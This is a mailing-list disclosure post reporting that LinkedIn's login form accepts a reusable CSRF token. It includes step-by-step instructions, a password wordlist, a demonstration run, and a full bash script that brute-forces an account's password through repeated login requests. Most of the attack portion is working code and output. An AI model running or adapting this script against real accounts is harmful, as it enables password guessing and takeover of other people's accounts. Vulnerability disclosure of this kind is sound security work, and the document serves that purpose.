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LinkedIn CSRF: Login Brute Force

LinkedIn uses a Token into the login form which can be used many times for different usernames. You can do it using the same IP or differents IP, the token will not be verified. I. Step by step =============== 1). Login into your LinkedIn account and capture the "sourceAlias" and "csrfToken" variable (example: sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496) 2). Use the Token to login into another account: https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless session_key is the username and session_password is the password. 3). The password (session_password) is not correct If the requested URL returns "The email address or password you provided does not match our records", else the password if correct. II. PoC ======= 1). The Wordlist (filename: w) [zerial@belcebu ~]$ cat w asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert qwsdcv 12wedfgh 123456qwerty 12345qwei 112233 [zerial@belcebu ~]$ 2). Executing the script: [zerial@belcebu ~]$ sh linkedin.sh panic () zerial org w Password found: qwsdcv [zerial@belcebu ~]$ This is the correct password for this test user. III. Script =========== #!/bin/bash # # usage: ./linkedin.sh username () domain com wordlist # TOKEN="ajax%3A6265303044444817496" sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi" if [ ! -f $2 ]; then echo "file $2 does not exists" exit fi _USR=$1 for _PWD in $(cat $2); do if [ $(echo -n $_PWD|wc -c) -lt 6 ]; then echo "Ignoring $_PWD (must be grather than 6 chars)"; continue fi wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null if [ $? -eq 1 ]; then echo "Password found: $_PWD"; exit; fi done echo "Password NOT found. Try later." #EOF More info (in spanish): http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ cheers, -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zerial () jabberes org _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

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